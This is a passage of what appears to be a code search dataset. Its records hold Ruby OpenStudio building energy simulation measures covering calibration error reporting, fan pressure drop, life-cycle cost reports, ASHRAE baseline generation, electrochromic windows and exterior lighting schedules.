OpenStudio::EnvironmentType.new('WeatherRunPeriod')\n ann_env_pd = env_pd\n break\n end\n end\n end\n\t\n\tif ann_env_pd\n\t output_timeseries = sql_file.timeSeries(ann_env_pd, reporting_frequency, variable_name, key_name)\n\t \n\t if output_timeseries.empty?\n\t runner.registerWarning('Timeseries not found.')\n\t else\n\t runner.registerInfo('Found timeseries.')\n\t\t output_timeseries = output_timeseries.get.values\n end\n\tend\n\t#runner.registerInfo(\"output_timeseries is good #{output_timeseries.to_a}\")\n\t\n\t#######################################\n # check file path for reasonableness\n if file_path.empty?\n runner.registerError('Empty file path was entered.')\n return false\n end\n\n # strip out the potential leading and trailing quotes\n file_path.gsub!('\"', '')\n\n # check if file exists\n if !File.exist? file_path\n runner.registerError(\"The file at path #{file_path} doesn't exist.\")\n return false\n end \n\n # read in csv values\n csv_values = CSV.read(file_path,{headers: false, converters: :float})\n num_rows = csv_values.length\n\t\n\trunner.registerInfo(\"The reference file has been imported with #{num_rows} items.\")\n\t#####################################\n\t\n\t#calculate the error term\t \n\tcsv_array = []\n\tcsv_array << output_timeseries.to_a\n\tnum_elem = output_timeseries.length\n\trunner.registerInfo(\"The simulated data contains #{num_elem} items.\")\n\t\n\tcsv_values_to_compare = csv_values.last(num_elem)\n\t#runner.registerInfo(\"I am fine here, with #{csv_values_to_compare.length}\")\n\tfinalArray = output_timeseries.zip(csv_values_to_compare).map{|x,y| (x - y[0])**2}\n\t#finalArray = output_timeseries.zip(csv_values_to_compare)\n\t#runner.registerInfo(\"I am fine here 2: #{finalArray}\")\n\tindicator = Math.sqrt((finalArray.reduce(:+))/num_elem)\n\t\n\tFile.open(\"./report_#{variable_name.delete(' ')}.csv\",'wb') do |file|\n\t file.puts indicator\n\tend \n\t\n\trunner.registerInfo(\"The mean square root between simulated data and measured data is #{indicator}\")\n\t\n\t#########################\n\t\n\n File.open(\"./report_#{variable_name.delete(' ')}_#{reporting_frequency.delete(' ')}.csv\", 'wb') do |file|\n csv_array.each do |elem|\n #file.puts elem.join(',')\n\t file.puts elem\n end\n end\t \n\trunner.registerInfo(\"The data is storded in ./report_#{variable_name.delete(' ')}_#{reporting_frequency.delete(' ')}.csv\")\t\n\n # close the sql file\n sql_file.close\n\n return true\n end", "title": "" }, { "docid": "9ccb8219bfd800d820814896f69babde", "score": "0.6034871", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n pressure_drop_reduction_pct = runner.getDoubleArgumentValue(\"pressure_drop_reduction_pct\",user_arguments)\n\n # Convert the pressure drop reduction to a multiplier\n pd_mult = (100 - pressure_drop_reduction_pct)/100\n \n \n \n # Check arguments for reasonableness\n if pressure_drop_reduction_pct <= 0 || pressure_drop_reduction_pct >= 100 \n runner.registerError(\"Pressure drop reduction percent must be between 0 and 100.\")\n return false\n end\n\n # Loop through all air loops, find the fan,\n # and reduce the pressure drop to model the impact\n # of lower pressure drop filters.\n air_loops_pd_lowered = []\n air_loops = []\n model.getAirLoopHVACs.each do |air_loop|\n air_loops << air_loop\n air_loop.supplyComponents.each do |supply_comp|\n fan = nil\n if supply_comp.to_FanConstantVolume.is_initialized\n fan = supply_comp.to_FanConstantVolume.get\n elsif supply_comp.to_FanVariableVolume.is_initialized\n fan = supply_comp.to_FanVariableVolume.get\n end\n if !fan.nil?\n current_pd_pa = fan.pressureRise\n current_pd_inh2o = OpenStudio.convert(current_pd_pa, \"Pa\", \"inH_{2}O\").get\n new_pd_inh2o = current_pd_inh2o * pd_mult\n new_pd_pa = OpenStudio.convert(new_pd_inh2o, \"inH_{2}O\", \"Pa\").get\n fan.setPressureRise(new_pd_pa)\n runner.registerInfo(\"Lowered pressure drop on #{air_loop.name} by #{pressure_drop_reduction_pct}% from #{current_pd_inh2o.round(1)} in W.C to #{new_pd_inh2o.round(1)} in W.C.\")\n air_loops_pd_lowered << air_loop\n end\n end\n end\n \n # Not applicable if no air loops\n if air_loops.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no airloops in the building.\")\n return true \n end\n \n # Not applicable if no airloops were modified\n if air_loops_pd_lowered.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because none of the airloops in the model were impacted.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Lowered fan static pressure on #{air_loops_pd_lowered.size} air loops to reflect improved duct routing.\")\n\n return true\n\n end", "title": "" }, { "docid": "c62750f6e8d591e4a244028ec8cd5a7a", "score": "0.59904295", "text": "def arguments\n end", "title": "" }, { "docid": "1284ad8cfe9dc7e66f41331cef91d1e2", "score": "0.59880596", "text": "def run_finish\n end", "title": "" }, { "docid": "1bda83f58e98addd331318c1fd23df29", "score": "0.5984312", "text": "def run(runner, user_arguments)\r\n super(runner, user_arguments)\r\n \r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(), user_arguments)\r\n return false\r\n end\r\n\r\n # get the last model and sql file\r\n \r\n model = runner.lastOpenStudioModel\r\n if model.empty?\r\n runner.registerError(\"Cannot find last model.\")\r\n return false\r\n end\r\n model = model.get\r\n \r\n sqlFile = runner.lastEnergyPlusSqlFile\r\n if sqlFile.empty?\r\n runner.registerError(\"Cannot find last sql file.\")\r\n return false\r\n end\r\n sqlFile = sqlFile.get\r\n model.setSqlFile(sqlFile)\r\n\r\n # put data into variables, these are available in the local scope binding\r\n\r\n output = \"<br>&nbsp&nbspMeasure Name = \" << name << \"<br><br>\"\r\n\r\n #inflation approach\r\n inf_appr_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Life-Cycle Cost Parameters' AND RowName='Inflation Approach' AND ColumnName='Value'\"\r\n inf_appr = sqlFile.execAndReturnFirstString(inf_appr_query)\r\n if inf_appr.is_initialized\r\n if inf_appr.get == \"ConstantDollar\"\r\n inf_appr = \"Constant Dollar\"\r\n elsif inf_appr.get == \"CurrentDollar\"\r\n inf_appr = \"Current Dollar\"\r\n else\r\n runner.registerError(\"Inflation approach: #{inf_appr.get} not recognized\")\r\n return false\r\n end\r\n runner.registerInfo(\"Inflation approach = #{inf_appr}\")\r\n else\r\n runner.registerError(\"Could not determine inflation approach used\")\r\n return false\r\n end\r\n\r\n #base year\r\n base_yr_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Life-Cycle Cost Parameters' AND RowName='Base Date' AND ColumnName='Value'\"\r\n base_yr = sqlFile.execAndReturnFirstString(base_yr_query)\r\n if base_yr.is_initialized\r\n if base_yr.get.match(/\\d\\d\\d\\d/)\r\n base_yr = base_yr.get.match(/\\d\\d\\d\\d/)[0].to_f\r\n else\r\n runner.registerError(\"Could not determine the analysis start year from #{base_yr.get}\")\r\n return false\r\n end\r\n else\r\n runner.registerError(\"Could not determine analysis start year\")\r\n return false\r\n end\r\n\r\n #analysis length\r\n length_yrs_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Life-Cycle Cost Parameters' AND RowName='Length of Study Period in Years' AND ColumnName='Value'\"\r\n length_yrs = sqlFile.execAndReturnFirstInt(length_yrs_query)\r\n if length_yrs.is_initialized\r\n length_yrs = length_yrs.get\r\n runner.registerInitialCondition(\"Analysis length = #{length_yrs} yrs\")\r\n else\r\n runner.registerError(\"Could not determine analysis length\")\r\n return false\r\n end\r\n\r\n #cash flows\r\n cash_flow_elems = OpenStudio::AttributeVector.new\r\n\r\n #setup a vector for each type of cash flow\r\n cap_cash_flow_elems = OpenStudio::AttributeVector.new\r\n om_cash_flow_elems = OpenStudio::AttributeVector.new\r\n energy_cash_flow_elems = OpenStudio::AttributeVector.new\r\n water_cash_flow_elems = OpenStudio::AttributeVector.new\r\n tot_cash_flow_elems = OpenStudio::AttributeVector.new\r\n\r\n #add the type to the element\r\n cap_cash_flow_elems << OpenStudio::Attribute.new(\"type\", \"#{inf_appr} Capital Costs\")\r\n om_cash_flow_elems << OpenStudio::Attribute.new(\"type\", \"#{inf_appr} Operating Costs\")\r\n energy_cash_flow_elems << OpenStudio::Attribute.new(\"type\", \"#{inf_appr} Energy Costs\")\r\n water_cash_flow_elems << OpenStudio::Attribute.new(\"type\", \"#{inf_appr} Water Costs\")\r\n tot_cash_flow_elems << OpenStudio::Attribute.new(\"type\", \"#{inf_appr} Total Costs\")\r\n\r\n #record the cash flow in these hashes\r\n cap_cash_flow = {}\r\n om_cash_flow = {}\r\n energy_cash_flow = {}\r\n water_cash_flow = {}\r\n tot_cash_flow = {}\r\n\r\n data_cashFlow = []\r\n data_running_total = []\r\n running_total = 0\r\n\r\n #loop through each year and record the cash flow\r\n for i in 0..(length_yrs - 1) do\r\n new_yr = base_yr + i\r\n yr = \"January #{new_yr.round}\"\r\n ann_cap_cash = 0.0\r\n ann_om_cash = 0.0\r\n ann_energy_cash = 0.0\r\n ann_water_cash = 0.0\r\n ann_tot_cash = 0.0\r\n\r\n #capital cash flow\r\n cap_cash_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Capital Cash Flow by Category (Without Escalation)' AND RowName='#{yr}' AND ColumnName='Total'\"\r\n cap_cash = sqlFile.execAndReturnFirstDouble(cap_cash_query)\r\n if cap_cash.is_initialized\r\n ann_cap_cash += cap_cash.get\r\n ann_tot_cash += cap_cash.get\r\n end\r\n\r\n #o&m cash flow (excluding utility costs)\r\n om_types = [\"Maintenance\", \"Repair\",\"Operation\", \"Replacement\", \"MinorOverhaul\", \"MajorOverhaul\", \"OtherOperational\"]\r\n om_types.each do |om_type|\r\n om_cash_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Operating Cash Flow by Category (Without Escalation)' AND RowName='#{yr}' AND ColumnName='#{om_type}'\"\r\n om_cash = sqlFile.execAndReturnFirstDouble(om_cash_query)\r\n if om_cash.is_initialized\r\n ann_om_cash += om_cash.get\r\n ann_tot_cash += om_cash.get\r\n end\r\n end\r\n\r\n #energy cash flow\r\n energy_cash_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Operating Cash Flow by Category (Without Escalation)' AND RowName='#{yr}' AND ColumnName='Energy'\"\r\n energy_cash = sqlFile.execAndReturnFirstDouble(energy_cash_query)\r\n if energy_cash.is_initialized\r\n ann_energy_cash += energy_cash.get\r\n ann_tot_cash += energy_cash.get\r\n end\r\n\r\n #water cash flow\r\n water_cash_query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='Life-Cycle Cost Report' AND ReportForString='Entire Facility' AND TableName='Operating Cash Flow by Category (Without Escalation)' AND RowName='#{yr}' AND ColumnName='Water'\"\r\n water_cash = sqlFile.execAndReturnFirstDouble(water_cash_query)\r\n if water_cash.is_initialized\r\n ann_water_cash += water_cash.get\r\n ann_tot_cash += water_cash.get\r\n end\r\n\r\n #log the values for this year\r\n cap_cash_flow[yr] = ann_cap_cash\r\n om_cash_flow[yr] = ann_om_cash\r\n energy_cash_flow[yr] = ann_energy_cash\r\n water_cash_flow[yr] = ann_water_cash\r\n tot_cash_flow[yr] = ann_tot_cash\r\n\r\n # push annual values to output\r\n data_cashFlow << \"{\\\"Type\\\":\\\"Building\\\",\\\"Year\\\":\\\"#{yr}\\\",\\\"Cash Flow\\\":#{ann_cap_cash+ann_om_cash}}\" # combined Capital and O&M cost\r\n\r\n #data_cashFlow << \"{\\\"Type\\\":\\\"Capital\\\",\\\"Year\\\":\\\"#{yr}\\\",\\\"Cash Flow\\\":#{ann_cap_cash}}\"\r\n #data_cashFlow << \"{\\\"Type\\\":\\\"O&M\\\",\\\"Year\\\":\\\"#{yr}\\\",\\\"Cash Flow\\\":#{ann_om_cash}}\"\r\n data_cashFlow << \"{\\\"Type\\\":\\\"Energy\\\",\\\"Year\\\":\\\"#{yr}\\\",\\\"Cash Flow\\\":#{ann_energy_cash}}\"\r\n data_cashFlow << \"{\\\"Type\\\":\\\"Water\\\",\\\"Year\\\":\\\"#{yr}\\\",\\\"Cash Flow\\\":#{ann_water_cash}}\"\r\n\r\n # gather running total data for line plot\r\n running_total += ann_tot_cash\r\n data_running_total << \"{\\\"Year\\\":\\\"#{yr}\\\",\\\"Cash Flow\\\":#{running_total}}\"\r\n\r\n cap_cash_flow_elems << OpenStudio::Attribute.new(\"year\", ann_cap_cash, \"dollars\")\r\n om_cash_flow_elems << OpenStudio::Attribute.new(\"year\", ann_om_cash, \"dollars\")\r\n energy_cash_flow_elems << OpenStudio::Attribute.new(\"year\", ann_energy_cash, \"dollars\")\r\n water_cash_flow_elems << OpenStudio::Attribute.new(\"year\", ann_water_cash, \"dollars\")\r\n tot_cash_flow_elems << OpenStudio::Attribute.new(\"year\", ann_tot_cash, \"dollars\")\r\n\r\n end #next year\r\n\r\n #data for report_html.in\r\n data_cashFlow_merge = data_cashFlow.join(\",\")\r\n data_running_total_merge = data_running_total.join(\",\")\r\n\r\n #end cash flows\r\n cash_flow_elems << OpenStudio::Attribute.new(\"cash_flow\", cap_cash_flow_elems)\r\n cash_flow_elems << OpenStudio::Attribute.new(\"cash_flow\", om_cash_flow_elems)\r\n cash_flow_elems << OpenStudio::Attribute.new(\"cash_flow\", energy_cash_flow_elems)\r\n cash_flow_elems << OpenStudio::Attribute.new(\"cash_flow\", water_cash_flow_elems)\r\n cash_flow_elems << OpenStudio::Attribute.new(\"cash_flow\", tot_cash_flow_elems)\r\n\r\n result_elems = []\r\n result_elems << OpenStudio::Attribute.new(\"cash_flows\", cash_flow_elems)\r\n \r\n web_asset_path = OpenStudio::getSharedResourcesPath() / OpenStudio::Path.new(\"web_assets\")\r\n\r\n # read in template\r\n html_in_path = \"#{File.dirname(__FILE__)}/resources/report.html.in\"\r\n if File.exist?(html_in_path)\r\n html_in_path = html_in_path\r\n else\r\n html_in_path = \"#{File.dirname(__FILE__)}/report.html.in\"\r\n end\r\n html_in = \"\"\r\n File.open(html_in_path, 'r') do |file|\r\n html_in = file.read\r\n end\r\n\r\n # configure template with variable values\r\n renderer = ERB.new(html_in)\r\n html_out = renderer.result(binding)\r\n\r\n # write html file\r\n html_out_path = \"./report.html\"\r\n File.open(html_out_path, 'w') do |file|\r\n file << html_out\r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n\r\n #closing the sql file\r\n sqlFile.close()\r\n\r\n #reporting final condition\r\n runner.registerFinalCondition(\"Finished generating report.\")\r\n \r\n return true\r\n \r\n end", "title": "" }, { "docid": "1f898e18103ef684c7c4347bd9b2fcab", "score": "0.5952246", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables that can be accessed across the measure\n building_type = runner.getStringArgumentValue('building_type', user_arguments)\n standard = runner.getStringArgumentValue('standard', user_arguments)\n climate_zone = runner.getStringArgumentValue('climate_zone', user_arguments)\n custom = runner.getStringArgumentValue('custom', user_arguments)\n debug = runner.getBoolArgumentValue('debug', user_arguments)\n\n # Convert custom to nil if necessary\n if custom == '*None*'\n custom = nil\n end\n\n # Strip BETA from the standard choice\n if standard.include?(' BETA')\n runner.registerWarning(\"You have chosen #{standard}, which is still under development. It should generally be correct, but has not been heavily tested. Please review the output messages closely.\")\n standard = standard.gsub(' BETA', '')\n end\n\n # Open a channel to log info/warning/error messages\n @msg_log = OpenStudio::StringStreamLogSink.new\n if debug\n @msg_log.setLogLevel(OpenStudio::Debug)\n else\n @msg_log.setLogLevel(OpenStudio::Info)\n end\n @start_time = Time.new\n @runner = runner\n\n # Contact info for where to report issues\n contact = \"While this Measure aims to be comprehensive and was tested against a suite of models of actual building designs, there are bound to be situations that it will not handle correctly. It is your responsibility as a modeler to review the results of this Measure and adjust accordingly. If you find issues (beyond those listed below), please <a href='https://github.com/NREL/openstudio-standards/issues'>report them here</a>. Please include a detailed description, the proposed model, and references to the pertinent sections of 90.1, ASHRAE interpretations, or LEED interpretations.\"\n OpenStudio.logFree(OpenStudio::Info, 'openstudio.standards.Model', contact)\n\n # List of unsupported things\n us = []\n us << 'Lighting controls (occ/vac sensors) are assumed to already be present in proposed lighting schedules, and will not be added or removed'\n us << 'Exterior lighting in the baseline model is left as found in proposed'\n us << 'Optimal start of HVAC systems is not supported'\n us << 'Skylights are not added to model, but existing skylights are scaled per Appendix G skylight-to-roof areas'\n us << 'Changing baseline glazing types based on WWR and orientation' if standard == '90.1-2004'\n us << 'No fan power allowances for MERV filters or ducted supply/return present in proposed model HVAC'\n us << 'Laboratory-specific ventilation is not handled'\n us << 'Kitchen ventilation is not handled; exhaust fans left as found in proposed'\n us << 'Commercial refrigeration equipment is left as found in proposed'\n us << 'Transformers are not added to the baseline model'\n us << 'System types 11 (for data centers) and 12/13 (for public assembly buildings)' if standard == '90.1-2013'\n us << 'Zone humidity control present in the proposed model HVAC systems is not added to baseline HVAC'\n\n # Report out to users\n OpenStudio.logFree(OpenStudio::Info, 'openstudio.standards.Model', '*** Currently unsupported ***')\n us.each do |msg|\n OpenStudio.logFree(OpenStudio::Info, 'openstudio.standards.Model', msg)\n end\n\n # List of known issues or limitations\n issues = []\n issues << 'Some control and efficiency determinations do not scale capacities/flow rates down to reflect zone multipliers'\n issues << 'Daylighting control illuminance setpoint does not vary based on space type'\n issues << 'Daylighting area calcs do not include windows in non-vertical walls'\n issues << 'Daylighting area calcs do not include skylights in non-horizontal roofs'\n\n # Report out to users\n OpenStudio.logFree(OpenStudio::Info, 'openstudio.standards.Model', '*** Known issues ***')\n issues.each do |msg|\n OpenStudio.logFree(OpenStudio::Info, 'openstudio.standards.Model', msg)\n end\n\n # Make a directory to save the resulting models for debugging\n build_dir = \"#{Dir.pwd}/output\"\n if !Dir.exist?(build_dir)\n Dir.mkdir(build_dir)\n end\n\n # Versions of OpenStudio greater than 2.4.0 use a modified version of\n # openstudio-standards with different method calls.\n if OpenStudio::VersionString.new(OpenStudio.openStudioVersion) < OpenStudio::VersionString.new('2.4.3')\n success = model.create_prm_baseline_building(building_type, standard, climate_zone, custom, build_dir, debug)\n else\n std = Standard.build(standard)\n std.model_create_prm_baseline_building(model, building_type, climate_zone, custom, build_dir, debug)\n end\n\n log_msgs(debug)\n return success\n end", "title": "" }, { "docid": "9d368bc7a4453d0858e6cb10dca84474", "score": "0.595143", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Assign the user input to a variable that can be accessed across the measure\n choice = runner.getStringArgumentValue('choice', user_arguments)\n \n run_measure = runner.getIntegerArgumentValue('run_measure', user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n\n # Create new construction hash\n # key = old construction, value = new construction\n new_construction_hash = {}\n\n # Get all fenestration surfaces\n sub_surfaces = []\n constructions = []\n\n model.getSubSurfaces.each do |sub_surface|\n next unless sub_surface.subSurfaceType.include?('Window')\n sub_surfaces << sub_surface\n constructions << sub_surface.construction.get\n end\n\n # Check to make sure building has fenestration surfaces\n if sub_surfaces.empty?\n runner.registerAsNotApplicable('The building has no windows.')\n return true\n end\n\n# zones_with_ctrls = []\n# model.getThermalZones.each do |zone|\n# zone_name = zone.name.get\n# # Skip zones without windows\n# has_window = false\n# zone.spaces.each do |space|\n# space.surfaces.each do |surface|\n# if surface.subSurfaces.size > 0\n# has_window = true\n# end\n# end\n# next unless has_window\n# # Find existing daylighting sensors or add a new one\n# if zone.primaryDaylightingControl.is_initialized\n# zones_with_ctrls << zone_name\n# runner.registerInfo(\"Zone #{zone_name} already has a daylighting sensor.\")\n# else\n# # Get the centroid of the zone's floor for placement of daylight sensors to control electrochromic if no daylight sensor exists\n# centroid = nil\n# space.surfaces.each do |surface|\n# next unless surface.surfaceType == 'Floor'\n# centroid = OpenStudio.getCentroid(surface.vertices).get\n# if centroid.nil?\n# runner.registerWarning(\"Could not find a floor in #{zone_name}, cannot place daylight sensor to control electrochromics in this zone.\")\n# else\n# zones_with_ctrls << zone_name\n# \n# # Add daylighting controls\n# sensor = OpenStudio::Model::DaylightingControl.new(model)\n# sensor.setName(\"#{space.name} daylighting control\")\n# new_point = OpenStudio::Point3d.new(centroid.x, centroid.y, centroid.z)\n# sensor.setPosition(new_point)\n# sensor.setIlluminanceSetpoint(500)\n# sensor.setNumberofSteppedControlSteps(3)\n# sensor.setLightingControlType('Continuous/Off')\n# sensor.setSpace(space)\n# \n# runner.registerInfo(\"Zone #{zone_name} does not have a daylighting sensor - one was added to control the electrochromic windows.\")\n# end\n# end\n# end\n# end\n# end\n\n # Not applicable if no zones have daylighting controls\n# if zones_with_ctrls.size == 0\n# runner.registerAsNotApplicable(\"Not Applicable - no zones in the model have daylighting controls or could have daylighting controls added to control the electrochromic glazing.\")\n# return true\n# end\n \n # Get all simple glazing system window materials\n simple_glazings = model.getSimpleGlazings\n\n # Define total area change, U-value, SHGC, and VLT float\n area_changed_m2 = 0.0\n if choice == 'BleachedGlass'\n new_simple_glazing_u = 1.87382679 # [W/m2-K]\n new_simple_glazing_shgc = 0.42\n new_simple_glazing_vlt = 0.56\n elsif choice == 'TintedGlass'\n new_simple_glazing_u = 1.87382679 # [W/m2-K]\n new_simple_glazing_shgc = 0.09\n new_simple_glazing_vlt = 0.02\n end\n\n # Loop over constructions and simple glazings\n constructions.each do |construction|\n simple_glazings.each do |simple_glazing|\n # Check if construction layer name matches simple glazing name\n next unless construction.to_Construction.get.layers[0].name.get == simple_glazing.name.get\n\n # Get old values\n old_simple_glazing_u = simple_glazing.uFactor\n old_simple_glazing_shgc = simple_glazing.solarHeatGainCoefficient\n old_simple_glazing_vlt = simple_glazing.visibleTransmittance.get\n \n # Register initial condition\n runner.registerInfo(\"Existing window '#{simple_glazing.name.get}' has #{old_simple_glazing_u.round(2)} W/m2-K U-value , #{old_simple_glazing_shgc.round(2)} SHGC, and #{old_simple_glazing_vlt.round(2)} VLT.\")\n\n # Check if construction has been made\n if new_construction_hash.has_key?(construction)\n new_construction = new_construction_hash[construction]\n else\n # Make new simple glazing with new properties\n new_simple_glazing = OpenStudio::Model::SimpleGlazing.new(model)\n new_simple_glazing.setName(\"Simple Glazing U-#{new_simple_glazing_u.round(2)} SHGC #{new_simple_glazing_shgc.round(2)}\")\n\n # Set and register final condition\n new_simple_glazing.setUFactor(new_simple_glazing_u)\n new_simple_glazing.setSolarHeatGainCoefficient(new_simple_glazing_shgc)\n new_simple_glazing.setVisibleTransmittance(new_simple_glazing_vlt)\n\n # Register final condition\n runner.registerInfo(\"New window '#{new_simple_glazing.name.get}' has #{new_simple_glazing_u.round(2)} W/m2-K U-value , #{new_simple_glazing_shgc.round(2)} SHGC, and #{new_simple_glazing_vlt.round(2)} VLT.\")\n \n # Create new construction with this new simple glazing layer\n new_construction = OpenStudio::Model::Construction.new(model)\n new_construction.setName(\"Window U-#{new_simple_glazing_u.round(2)} SHGC #{new_simple_glazing_shgc} VLT #{new_simple_glazing_vlt}\")\n new_construction.insertLayer(0, new_simple_glazing)\n \n# # Loop through lights that are used in the model to populate schedule hash\n# schedules = []\n# model.getLightss.each do |light|\n# # Check if this instance is used in the model\n# if light.spaceType.is_initialized\n# next if light.spaceType.get.spaces.empty?\n# end\n# # Find schedule\n# if light.schedule.is_initialized && light.schedule.get.to_ScheduleRuleset.is_initialized\n# schedules << light.schedule.get.to_ScheduleRuleset.get\n# else\n# runner.registerWarning(\"#{light.name} does not have a schedule or schedule is not a schedule ruleset assigned.\")\n# end\n# end\n\n # Add shading controls\n shading = OpenStudio::Model::ShadingControl.new(new_construction)\n shading.setName('Switchable Glazing')\n shading.setShadingType('SwitchableGlazing')\n shading.setShadingControlType('OnIfHighSolarOnWindow')\n shading.setSetpoint(0.0)\n\n # Update hash\n new_construction_hash[construction] = new_construction\n end\n\n # Loop over applicable fenestration surfaces and add new construction to zones with daylighting controls\n model.getThermalZones.each do |zone|\n #next unless zones_with_ctrls.include?(zone.name.get)\n sub_surfaces.each do |sub_surface|\n # Assign new construction to fenestration surfaces and add total area changed if construction names match\n next unless sub_surface.construction.get.to_Construction.get.layers[0].name.get == construction.to_Construction.get.layers[0].name.get\n sub_surface.setConstruction(new_construction)\n sub_surface.setShadingControl(shading)\n area_changed_m2 += sub_surface.grossArea\n end\n end\n end\n end\n\n # Summary\n area_changed_ft2 = OpenStudio.convert(area_changed_m2, 'm^2', 'ft^2').get\n runner.registerFinalCondition(\"Changed #{area_changed_ft2.round(2)} ft2 of window to U-#{new_simple_glazing_u.round(2)}, SHGC-#{new_simple_glazing_shgc}, VLT-#{new_simple_glazing_vlt}.\")\n runner.registerValue('env_window_electrochromic_fen_area_ft2', area_changed_ft2.round(2), 'ft^2')\n return true\n end", "title": "" }, { "docid": "9dcf349471211a8d792b980815963eed", "score": "0.59501123", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n \t# initialize variables\n \text_ltg_pwr_reduction = 0.3\n \thr_on = 0\n \tmin_on = 0\n \thr_off = 6\n \tmin_off = 0\n \tmax_hrs = []\n min_hrs = []\n ext_lights_sch_name = \"Exterior Lights Schedule\"\n ext_lights_count = 0\n ext_lights_changed = 0\n\n # get model objects from model classes\n\t ext_lights = model.getExteriorLightss #my precious\n\n\t\t# DO STUFF\n\n\t\t# determine building open and close times\n\t\t# https://github.com/NREL/OpenStudio-PTool/blob/master/measures/predictive_thermostats/measure.rb\n\t\tmodel.getThermalZones.each do |zone|\n\n # Skip zones that have no occupants\n # or have occupants with no schedule\n people = []\n zone.spaces.each do |space|\n people += space.people\n if space.spaceType.is_initialized\n people += space.spaceType.get.people\n end\n end\n if people.size == 0\n next\n end\n occ = people[0]\n if occ.numberofPeopleSchedule.empty?\n\n next\n end\n occ_sch = occ.numberofPeopleSchedule.get\n\n max_time = Helpers.get_min_max_time(occ_sch)[\"max_time\"]\n min_time = Helpers.get_min_max_time(occ_sch)[\"min_time\"]\n \n # Don't add nil values (from flat schedules)\n if !max_time.nil?\n max_hrs << max_time\n end\n \n if !min_time.nil?\n min_hrs << min_time\n end\n \n end #thermal zones\n \n\t\t# determine absolute earliest and latest occupied times\n\t\tmax_hr = max_hrs.max\n\t\tmin_hr = min_hrs.min\n\n\t\t# compare occupancy min/max and adjust from fixed 0000-0600 if necessary\n #TODO\n\n\t\t# create schedule, could use OsLib_Schedules.rb functions\n runner.registerInfo(\"Adding new schedule to model: #{ext_lights_sch_name}\")\n ext_lights_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n ext_lights_sch.setName(ext_lights_sch_name)\n\t\tdefault_day = ext_lights_sch.defaultDaySchedule\n\t\tdefault_day.addValue(OpenStudio::Time.new(hr_on, hr_off, min_on, min_off), (1-ext_ltg_pwr_reduction))\n\n # set controls, could be more DRY\n\t\tif ext_lights.empty?\n\n\t\t\trunner.registerAsNotApplicable(\"No exterior lights objects found in model.\")\n\t\t\treturn true\n\n\t\telse\n\n\t\t\text_lights.each do |el|\n\n ext_lights_count += 1\n runner.registerInfo(\"Applying exterior lighting controls to: #{el.name}\")\n\n if el.controlOption == \"AstronomicalClock\"\n\n runner.registerInfo(\"=> control option set to: AstronomicalClock\")\n runner.registerInfo(\"=> setting control option to: ScheduleNameOnly\")\n el.setControlOption(\"ScheduleNameOnly\")\n runner.registerInfo(\"=> setting schedule to: #{ext_lights_sch.name}\")\n el.setSchedule(ext_lights_sch)\n ext_lights_changed += 1\n\n elsif el.controlOption == \"ScheduleNameOnly\"\n\n runner.registerInfo(\"=> control option set to: ScheduleNameOnly\")\n runner.registerInfo(\"=> setting schedule to: #{ext_lights_sch.name}\")\n el.setSchedule(ext_lights_sch)\n ext_lights_changed += 1\n\n else\n\n runner.registerInfo(\"=> control option set to: blank\")\n runner.registerInfo(\"=> setting control option to: ScheduleNameOnly\")\n el.setControlOption(\"ScheduleNameOnly\")\n runner.registerInfo(\"=> setting schedule to: #{ext_lights_sch.name}\")\n el.setSchedule(ext_lights_sch)\n ext_lights_changed += 1\n\n end\n\n\t\t\tend\n\n\t\tend\n'TODO: causes run time error in 1.9.0\n # report initial condition\n runner.registerInitialCondition(\"Number of exterior lights objects in model = #{ext_lights_count}\")\n\n # report final condition\n runner.registerFinalCondition(\"Number of exterior lights objects changed = #{ext_lights_changed}\")\n'\n end", "title": "" }, { "docid": "9f3ff9724c9ac46261276b7de995e4ce", "score": "0.59471035", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Report that this is an anti-measure\n runner.registerValue('anti_measure', true)\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue('run_measure', user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true\n end\n\n # initilaize variables\n\n number_of_coil_cooling_dx_single_speed = 0\n number_of_coil_cooling_dx_two_speed = 0\n 